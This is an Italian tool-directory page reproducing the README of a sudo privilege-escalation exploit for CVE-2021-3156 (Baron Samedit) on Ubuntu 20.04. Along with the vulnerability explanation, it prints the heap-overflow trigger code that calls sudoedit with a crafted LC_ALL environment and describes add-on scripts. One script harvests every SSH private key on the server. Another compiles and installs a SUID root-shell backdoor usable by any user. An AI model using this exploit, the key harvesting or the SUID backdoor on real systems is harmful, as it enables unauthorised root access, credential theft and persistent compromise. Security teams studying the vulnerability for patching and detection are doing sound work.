Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PE_CVE-CVE-2021-3156 — Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation | Kitploit
Strumenti/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingApprendimento e FormazioneRed TeamingSviluppo PayloadBinary Exploitation
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation

Vedi Repository
71133 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PE_CVE-CVE-2021-3156

Exploit per Ubuntu 20.04 che utilizza CVE-2021-3156, migliorato con semplici e automatizzati script di post-exploitation

Oltre alla shell di root puoi avere:

-A file .txt con tutte le chiavi ssh id_rsa configurate sul server. Vedi lo script: get_all_ssh_keys.sh

-A eseguibile privshell che consente a qualsiasi utente di avviare una shell di root (sto lavorando per correggere l'errore gcc). Vedi lo script: create_privshell.sh

PoC per il PE_CVE-CVE-2021-3156.

Requisiti

Per ottenere un risultato positivo, è necessario che la macchina vittima abbia una delle seguenti versioni di sistema operativo e Sudo:

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

image

Per rendere vulnerabile la mia VM, ho declassato la mia versione di sudo con il seguente comando:

$ sudo apt install sudo=1.8.31-1ubuntu1

Exploit

L'exploit può funzionare finché l'accesso al sistema vittima viene ottenuto con un utente senza privilegi considerevoli.

image

Puoi clonare la repo sulla macchina della vittima o sulla tua macchina locale e caricarla con wget

image

Esegui il comando "make" per compilare i file .c secondo la vulnerabilità image

Otterrai il file dell'exploit, quindi puoi eseguirlo con "./" Dopo aver eseguito l'exploit, possiamo ora vedere due file generati nella repository: uno contiene tutte le chiavi ssh registrate sul sistema e l'altro contiene il file eseguibile SUID che concede una sessione root a tutti gli utenti. (evidenziati in viola)

image

Potresti vedere un errore come quello seguente:

image

Sto ancora cercando di risolvere l'errore, ma suppongo che sia la shell a generare l'exploit. Ho provato a eseguire il comando ./create_privshell.sh da root accedendo con sudo su da un utente con i permessi appropriati e la compilazione dello script è andata a buon fine. In alternativa può essere compilato su un'altra macchina e copiato sulla vittima; è per questo che esiste una richiesta wget.

Lo script da compilare è il seguente:

echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Ora puoi leggere i file .txt con tutte le chiavi ssh e usare privshell finché non sistemo l'errore gcc image

A PROPOSITO DI CVE-2021-3156.

Scoperta da Qualys

Punteggio CVSS di 7.8

CVE-2021-3156, nota anche come vulnerabilità "Baron Samedit", è una vulnerabilità di sicurezza che colpisce il programma sudo, ampiamente utilizzato sui sistemi operativi basati su Unix. Sudo è un programma che consente agli utenti di eseguire comandi con privilegi elevati, solitamente inserendo la propria password o una password di root. La vulnerabilità è causata da un problema di buffer overflow nella funzione "sudoedit" del comando sudo, che consente agli utenti di modificare file con privilegi elevati. La vulnerabilità è stata scoperta per la prima volta nel gennaio 2021 da Qualys Research Labs e colpisce le versioni di sudo dalla 1.8.2 alla 1.8.31p2 e dalla 1.9.0 alla 1.9.5p1.

###Dettagli molto molto tecnici Info da: Qualys

image

image

image

In altre parole, set_cmnd() è vulnerabile a un heap-based buffer overflow, perché i caratteri fuori dai limiti copiati nel buffer "user_args" non erano inclusi nella sua dimensione (calcolata alle righe 852-853).

Per la parte dell'overflow, ho usato il file exploit.c di redhawkeye/sudo-exploit

È un po' complesso ma facilmente interpretabile.

 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Questa parte dichiara un array di variabili d'ambiente env che verrà passato alla chiamata di sistema execve. Le variabili d'ambiente contengono una serie di backslash e una variabile appositamente costruita chiamata LC_ALL che ha il valore "C.UTF-8@" concatenato con 208 (0xd0) caratteri A. Il valore C.UTF-8@ verrà passato come variabile d'ambiente LC_ALL al comando sudoedit. I 208 caratteri A servono a far traboccare un buffer nel programma sudoedit ed eseguire codice arbitrario.

  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Questa parte dichiara una variabile a che contiene una stringa di 112 (0x70) caratteri A, seguiti da un backslash. Dichiara poi un array argv che verrà passato a execve. L'array contiene il percorso del comando sudoedit (/usr/bin/sudoedit), il flag -s e la variabile a creata sopra.

  execve(argv[0], argv, env);

Questa è la chiamata di sistema execve che esegue effettivamente il comando sudoedit con gli argomenti e le variabili d'ambiente forniti. Il programma sudoedit leggerà la variabile d'ambiente LC_ALL e tenterà di interpretarla come un percorso di file. I caratteri A in eccesso verranno usati per scrivere dati arbitrari in memoria e potenzialmente eseguire codice arbitrario.

Quindi questi dati in memoria riservati all'RCE verranno usati dal nostro file shell_tool.c

Scarica lo strumento